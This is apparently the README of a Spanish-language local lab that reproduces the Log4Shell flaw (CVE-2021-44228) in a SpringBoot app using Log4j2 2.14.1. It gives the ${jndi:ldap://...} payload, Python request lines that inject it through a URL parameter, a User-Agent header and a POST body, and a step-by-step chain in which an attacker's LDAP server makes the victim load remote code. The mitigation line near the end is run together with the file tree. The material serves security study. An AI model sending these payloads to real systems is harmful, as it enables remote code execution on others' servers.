
CVE-2021-44228 (Log4Shell) campo de reproducción de vulnerabilidades | SpringBoot + Log4j2 2.14.1 | Verificación de PoC con 3 vectores de ataque
⚠️ Descargo de responsabilidad: Este proyecto es solo para aprendizaje de seguridad e investigación técnica. Todos los entornos de vulnerabilidad se construyen localmente y no se han probado contra objetivos reales. No lo utilice con fines ilegales. El riesgo de usar este proyecto es responsabilidad del usuario.
Log4j2 es el framework de registro más utilizado en el ecosistema Java. Tiene una función Lookup que permite insertar contenido dinámico en los registros usando la sintaxis ${...}. En versiones 2.14.1 y anteriores, cuando el contenido del registro contiene ${jndi:...}, Log4j2 inicia automáticamente una solicitud JNDI a la dirección especificada, lo que permite a un atacante lograr la ejecución remota de código (RCE).
Esta vulnerabilidad está identificada como CVE-2021-44228, con una puntuación CVSS de 10.0 (máxima). La condición de activación es extremadamente simple, afecta a casi todas las aplicaciones Java que usan Log4j2, y el costo de explotación es muy bajo.
Requisitos previos: JDK 8+, Maven, Python 3, biblioteca requests
Paso 1: Iniciar el laboratorio de vulnerabilidad
Abra el proyecto con IDEA y ejecute VulnApplication.java. Ver la siguiente salida indica que el inicio fue exitoso:
Tomcat started on port(s): 8080 (http)
Started VulnApplication in 1.1 seconds
Paso 2: Ejecutar el script PoC
cd exploit
pip install requests
python exploit.py
${jndi:ldap://127.0.0.1:1389/EvilClass}
Inyecte el payload a través de un parámetro de URL para activar logger.info("User Login: {}", username):
r = requests.get(f"{target_url}/login", params={"username": payload}, timeout=5)
Inyecte el payload a través de una cabecera HTTP para activar logger.info("User-Agent: {}", headers):
r = requests.get(f"{target_url}/api/headers", headers={"User-Agent": payload}, timeout=5)
Inyecte el payload a través del cuerpo de una solicitud POST para activar logger.info("Data: {}", body):
r = requests.post(f"{target_url}/api/data", data=payload, timeout=5)
[+] ¡Conexión recibida! Desde 127.0.0.1:51631
[+] ¡Vulnerabilidad confirmada! Log4j2 inició una solicitud JNDI
[+] Reproducción de CVE-2021-44228 exitosa
El extremo de escucha recibió una conexión TCP desde el laboratorio, lo que indica que Log4j2 analizó ${jndi:...} e inició una solicitud LDAP, confirmando la existencia de la vulnerabilidad.
La función Lookup de Log4j2 permite insertar contenido dinámico en los registros usando la sintaxis ${...}, por ejemplo ${env:PATH} para leer variables de entorno, ${sys:user.dir} para leer propiedades del sistema.
JNDI (Java Naming and Directory Interface) es la interfaz de nombres y directorios de Java. Si se le proporciona una dirección, la busca y devuelve el resultado. Si el resultado es una clase Java, la JVM la carga y ejecuta automáticamente.
① El atacante escribe en el campo de entrada: ${jndi:ldap://IP_del_atacante:1389/EvilClass}
↓
② El sitio web recibe la entrada y registra con logger.info()
↓
③ Log4j2 analiza el contenido del registro y encuentra ${jndi:ldap://...}
↓
④ Log4j2 inicia una solicitud LDAP → se conecta al servidor del atacante
↓
⑤ El servidor LDAP del atacante responde: "Descargue EvilClass.class desde esta dirección"
↓
⑥ El servidor víctima descarga y carga la clase EvilClass
↓
⑦ El bloque de código estático de EvilClass se ejecuta automáticamente → RCE (ejecución remota de código)
-Dlog4j2.formatMsgNoLookups=true a los parámetros de inicio${jndi:log4j2-vuln-lab/
├── pom.xml # Configuración de Maven, especifica la versión vulnerable Log4j2 2.14.1
├── exploit/
│ └── exploit.py # Script de explotación PoC, 3 vectores de ataque + verificación de escucha TCP
└── src/main/
├── java/com/vuln/log4j/
│ ├── VulnApplication.java # Clase de inicio SpringBoot
│ └── controller/
│ └── UserController.java # 3 puntos de inyección de vulnerabilidad (parámetro GET/cabecera UA/cuerpo POST)
└── resources/
├── application.yml # Configuración de puerto + nivel de registro
└── log4j2.xml # Archivo de configuración de Log4j2